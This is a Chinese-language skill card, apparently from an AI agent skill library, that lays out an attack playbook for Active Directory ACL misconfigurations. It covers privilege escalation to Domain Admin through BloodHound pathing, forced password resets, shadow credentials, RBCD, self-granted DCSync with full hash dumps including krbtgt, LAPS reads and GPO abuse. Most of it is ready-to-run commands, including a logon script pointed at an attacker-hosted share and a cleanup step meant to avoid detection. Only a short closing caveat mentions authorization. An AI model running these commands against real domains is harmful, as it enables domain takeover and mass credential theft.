安全与风控
Active Directory ACL 配置错误时:用…
在已获得普通域用户或受控主体后,枚举并利用 AD ACL 配置错误,沿最短路径提升到域管理员或获取域内凭据。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 38/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
Active Directory ACL特定
解决思路
- 在深入前按需加载相关技能:active-directory-kerberos-attacks、active-directory-certificate-services、ntlm-relay-coercion、windows-lateral-movement;当需要常见 BloodHound 攻击路径、Cypher 查询、自定义 Neo4j 查询或数据收集/导入提示时,加载 BLOODHOUND_PATHS.md。
- 从 Windows 域内主机用 SharpHound 收集数据:SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
- 从 Linux 用 bloodhound-python 收集数据:bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
- 快速仅查询 DC:SharpHound.exe -c DCOnly
- 仅收集会话数据并定期运行:SharpHound.exe -c Session
- 包含 GPO 分析:SharpHound.exe -c All,GPOLocalGroup
- 使用内置 BloodHound 查询:Find all Domain Admins
- 使用内置 BloodHound 查询:Shortest Paths to Domain Admins from Owned Principals
- 使用内置 BloodHound 查询:Find Principals with DCSync Rights
- 使用内置 BloodHound 查询:Shortest Paths to Unconstrained Delegation Systems
- 使用内置 BloodHound 查询:Find computers where Domain Users are Local Admin
- 识别危险 ACE 对用户/组/计算机的效果:GenericAll 对用户可改密码、设 SPN、修改属性;对组可加成员;对计算机可 RBCD、读 LAPS、改所有属性。
- 识别危险 ACE 对用户/组/计算机的效果:GenericWrite 对用户可设 SPN、修改属性、影子凭据;对组可加成员;对计算机可 RBCD、影子凭据。
- 识别危险 ACE 对用户/组/计算机的效果:WriteDACL 对用户/组/计算机均可给自己授予任意权限。
- 识别危险 ACE 对用户/组/计算机的效果:WriteOwner 对用户/组/计算机均可取得所有权,再 WriteDACL。
- 识别危险 ACE 对用户/组/计算机的效果:ForceChangePassword 对用户可无需旧密码重置密码;对组/计算机 N/A。
- 识别危险 ACE 对用户/组/计算机的效果:AddMember 对组可添加自己/他人到组;对用户/计算机 N/A。
- 识别危险 ACE 对用户/组/计算机的效果:AllExtendedRights 对用户可强制改密、读 LAPS;对计算机可读 LAPS、BitLocker 密钥;对组 N/A。
- 识别危险 ACE 对用户/组/计算机的效果:ReadLAPSPassword 对计算机可读本地管理员密码;对用户/组 N/A。
- 识别危险 ACE 对用户/组/计算机的效果:WriteSPN 对用户可设 SPN 做定向 Kerberoasting;对组/计算机 N/A。
- GenericAll on User 选项 1:强制改密:net user targetuser NewP@ss123 /domain
- GenericAll on User 选项 2:定向 Kerberoasting:Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'},然后 Kerberoast 并清除 SPN
- GenericAll on User 选项 3:影子凭据:Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
- GenericAll on User 选项 4:设置登录脚本:Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
- GenericAll / GenericWrite on Computer:RBCD 攻击:rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
- GenericAll / GenericWrite on Computer:对计算机做影子凭据:pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
- WriteDACL:用 PowerShell 给自己授予 DCSync 权限:Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
- WriteDACL:用 Impacket 授予 DCSync 权限:dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
- WriteOwner 步骤 1:取得所有权:Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
- WriteOwner 步骤 2:作为所有者给自己授予 WriteDACL:Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
- WriteOwner 步骤 3:随后按 GenericAll 方式利用。
- ForceChangePassword:用 Impacket rpcclient:rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
- ForceChangePassword:用 PowerView:Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
- ForceChangePassword:用 net rpc:net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
- AddMember 到组:用 PowerView 加自己到特权组:Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
- AddMember 到组:用 Impacket 加自己到特权组:net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
- DCSync 前提:主体需同时拥有域对象上的 DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)和 DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)。
- DCSync 执行:用 Impacket dump 所有哈希:secretsdump.py DOMAIN/user:password@DC01 -just-dc
- DCSync 执行:仅 dump 指定账户:secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
- DCSync 执行:用 Mimikatz dump krbtgt:lsadump::dcsync /domain:domain.com /user:krbtgt
- DCSync 执行:用 Mimikatz dump 所有并输出 CSV:lsadump::dcsync /domain:domain.com /all /csv
- DCSync 执行:用 Impacket 配合 Kerberos 认证:export KRB5CCNAME=admin.ccache;secretsdump.py -k -no-pass DC01.domain.com -just-dc
- 检查默认拥有 DCSync 的主体:Domain Admins、Enterprise Admins、Domain Controllers group、BUILTIN\Administrators(在域对象上)。
- 影子凭据攻击流:对目标写 msDS-KeyCredentialLink → 生成证书 → 通过 PKINIT 认证。
- 影子凭据:用 pyWhisker 添加:pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01;输出 DeviceID 和 PFX 文件。
- 影子凭据:用证书认证获取 TGT:gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache;export KRB5CCNAME=victim.ccache
- 影子凭据:从 TGT 提取 NT hash:getnthash.py -key AS_REP_KEY domain.com/victim
- 影子凭据:用 Windows Whisker 添加:Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com;随后按提示用 Rubeus 获取 TGT。
- 影子凭据:用 Rubeus 请求 TGT 并注入:Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
- 影子凭据清理:移除添加的 key credential,以避免检测。
- 读取 LAPS 密码:用 PowerView:Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
- 读取 LAPS 密码:用 AD Module:Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
- 读取 LAPS 密码:用 LAPS v2 / Windows LAPS:Get-LapsADPassword -Identity TARGET -AsPlainText
- 读取 LAPS 密码:用 CrackMapExec:crackmapexec ldap DC01 -u user -p pass --module laps
- GPO 滥用:识别可写 GPO:Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and ($_.SecurityIdentifier -match 'YOUR_SID') }
- GPO 滥用:用 SharpGPOAbuse 添加本地管理员:SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
- GPO 滥用:用 SharpGPOAbuse 添加计划任务:SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
- GPO 滥用:用 SharpGPOAbuse 添加启动脚本:SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
- GPO 滥用:用 pyGPOAbuse:pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
- ACL 攻击决策树:有域用户访问并想通过 ACL 提权时,先运行 BloodHound → 分析到 DA 的最短路径 → 上传数据 → 查询 Shortest Paths to Domain Admins from Owned Principals。
- ACL 攻击决策树:用户对象有直接 ACL 时,GenericAll → 强制改密、影子凭据或定向 Kerberoast;GenericWrite → 影子凭据或设 SPN;ForceChangePassword → 直接重置密码;WriteDACL → 给自己授予 GenericAll 后利用;WriteOwner → 取得所有权 → WriteDACL → GenericAll。
- ACL 攻击决策树:组有 ACL 时,AddMember / GenericAll → 加自己到特权组;WriteDACL → 授予 AddMember 后加自己。
- ACL 攻击决策树:计算机对象有 ACL 时,GenericAll / GenericWrite → RBCD 攻击;AllExtendedRights → 读 LAPS 密码;GenericWrite → 对机器做影子凭据。
- ACL 攻击决策树:域对象有 ACL 时,WriteDACL → 给自己授予 DCSync 权限;已有复制权限 → 直接 DCSync。
- ACL 攻击决策树:链接到特权 OU 的 GPO 有 ACL 时,有写权限 → 通过 GPO 添加管理员或计划任务。
- ACL 攻击决策树:复杂多跳链时,加载 BLOODHOUND_PATHS.md,使用 Cypher 查询和链分析。
适用边界 · 注意事项
- 不适用于非 Active Directory 环境(例如仅使用 Azure AD/Entra ID 且无 AD DS 域对象的场景)。
- 没有合法授权或尚未获得任何普通域用户/受控主体时,不应使用该提权流程。
- 目标环境已修复 ACL 配置错误且 BloodHound 中不存在可达攻击路径时,不要强行套用。